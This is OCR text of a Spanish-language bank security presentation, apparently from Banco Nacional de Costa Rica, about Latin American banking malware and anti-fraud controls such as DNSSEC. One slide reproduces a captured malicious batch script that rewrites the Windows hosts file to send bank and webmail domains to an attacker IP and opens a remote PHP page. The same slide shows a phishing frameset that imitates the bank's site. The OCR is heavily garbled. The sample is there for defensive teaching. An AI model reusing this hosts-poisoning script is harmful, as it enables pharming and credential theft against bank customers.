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Existencia de
malware bancario
mas sofisticado
desarrollado en el
area

INNEREYVES

reales en
Latinoamerica

Persiguen los

equipos con

practicas de
seguridad limitadas

Buscan multiples

“targets” en un

solo proceso de
infeccion

El malware esta
trabajando en
archivos del
sistema
relacionados con el
“Host Files”

Los antivirus no
logran detectarlo a
tiempo y las
vacunas estan
disponibles mucho
tiempo después
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File Edit Format View Help

@echo off

echo 119.59.99. www. bancobcr., com => ¥windir¥\system32hdriversietcihosts (i, Akl e i
echo 119.59.99.206 bancobcr.com => %windir%\system32\driverstetcihosts | ity TV
echo 119.59.99. personas. bancober. com => %windir%\system32\drivers'etc\hosts el 1AL, FRECHLCE,
echo 119.59.99. www.Eersonas.bancobcr.com == ¥windiri\system32\driversietcih il k)

echo 119. ac.net => ¥windir¥'system32'drivers'etcihosts 0 ¥R b i

echo 119.59.99. bac.net => %windir%\system32\drivers'etchhosts o i

echo 119.59.99. www. credomatic. com => %windir¥\system32\drivers'etcihosts VO w.crslnt e
echo 119.59.99. credomatic. com >> ¥windiri\system32\drivershetc\hosts [ IR T

echo 119.59.99. www. hshe. fi.cr >= %windir¥\system32h\driversietcihosts WM bk ] e

echo 119. 59,99, hsbc.fi.cr == %windir%\system32\drivers'\etc\hosts it BN RS

echo 119.59.99. www. bner. fi.cr == %windir¥\system32h\driversietcihosts WHIK skt

echo 119, 59.99, bncr.fi.cr == Xwindir®\system32\driversietcihosts R m
echo 119.59.99. www. bnonTine. fi.cr == %windir¥\system32\drivers'etcihosts T. . L. LA
echo 119.59.99, bnonline.fi.cr >> %windir¥%\system32\driversietc'\hosts YL bt
echo 119.59.99. www. bancochile. ¢l >> %windir¥\system32'\drivers'etc'\hosts i i) Gk 4
echo .59.99. bancochile. cl => %windir%\system32'driversietcihosts I

echo .59.99, www. bbva. ¢l => Zwindirid\system32drivershetcihosts ! e Line. e
echo .59.99. bbva. cl == %windir¥\system32'\drivers‘etcihosts i Biachd 1o
echo 119.59.99.206 www.bancoestado.cl => %windir%\system32tdriversietchhosts

echo 119.59.99.206 bancoestado.c]l »> %windir¥k\system32'drivers'etcihosts ! Barped{ vzl
echo 119.59.99.206 www.santander.cl >= %w1nd1r%{systemaz\drﬁvers\etc\hosts R TR TP
echo 119.59.99.206 santander.cl => ¥windir¥\system32\drivers'etc\hosts Wi T

echo 119.59.99.206 www.hotmail.com == %windiri¥\system32\driversietchhosts M

echo 119.59.99.206 hotmail.com == %windiri\system32drivers'etc'hosts WO e ianeanntede.cl
echo 119.59.99.206 www.gmail.com >> %w1nd1r%{systemaz\drﬁvers\etc\hosts W

echo 119.59.99.206 gmail.com => %windir®'system32'drivers'etcihosts i
echo 119.59.99. 206 www.ma11.?oog1e.com == Mwindir%'\system32\driversietcihosts I rantaan el
echo 119.59.99.206 mail.google.com >> HFwindir¥\system32\drivers'etcihosts dis
echo 119.59.99.206 www.yahoo.com == %windir%\system32\driversietcihosts n
echo 119.59.99.206 yahoo.com >> %windir%'system32'drivers'etcihosts I AR
echo 119.59. .206 www. mail. yahoo. com >> ¥windir%\system32'\drivers'etc'\hosts [atmidl,com
echo 119.59.99.206 mail.yahoo.com >> %windir¥\system32'\drivers'etcihosts

start http: ff1abFUJu1asant1ago com,/files/syscr.php L 0
exit




0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodw are. 0 VT Community
user(s) with a total of 0 reputation credit(s) say(s) this sample is malw are.

File name: jxpiinstall-487U.exe
Submission date: 2011-11-29 14:56:01 (UTC)
Current status: finished
Result: 9/ 43 (20.9%) | case bonlnefor
Yih {document)
{
Wit (<head=<{itk>Banco Nacional de Costa Rica<tle<head),
Wit (<rameset ows="100% " rameborcer=no ramespacing=0 border=0> |

<frame NAME=global src="n i bnonine A crloncrindecefaut aspx ' margimith="0" marginheight="0" scrollng="au" rameborder="0">';

t
t
Wit
Wit <framese'|
}

break;
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Estrategia General Anti-Fraude

(. )

Autenticacion Reversa
(Certificados EV, DNSSEC)
¢ Autenticacion de Dos
([ ., ) . L
e Autenticacion Reversa Factores (OTP, Token, eSeguridad del Correo Electrénico

(Certificados EV, Certificados) \/ *Colas de Mensa}Jé i
’ eCultura Tecnoldgica-Campafia de

DNSSEC) e Revalidacion de credenciales Seguridad
. . (OTP, Tokens, Firma Digital) \/ eTemas Legales (Condiciones del
* Andlisis de Riesgo e Cambios en Front End (Two- Sitio-Politica de Privacidad)

¢ Redes Anti- Fraude phase login-Bienvenida) eContratos con Proveedores de

e Procesamiento Anti key- Servicio

logging (teclado virtual-uso
de partes de un password
complejo o secciones

I B BNCR - Internet Banking \

&= C & https//www.bnonline.fi.cr/Login/

@ ENCR - Internet Banking - Mozilla Firefox

File [Edit] Vie




KPermite gue el cliente identifique realmente al BNCR y su\
servicio en linea

e Agrega una capa de proteccion que debe considerar las
autoridades al analizar la “responsabilidad objetiva”

e Brinda |la posibilidad de limitar ataques masivos contra la
infraestructura nacional

e Permite continuar con nuestra consigha de ser pioneros
en la implementacion de los controles de seguridad

Como protege
DNSSEC la
reputacion del
BNCR?




Muchas Gracias por su atencion...!
Cilliam Cuadra, CISA, CISM, CRISC, M.Sc
Banco Nacional de Costa Rica

ccuadra@bncr.fi.cr




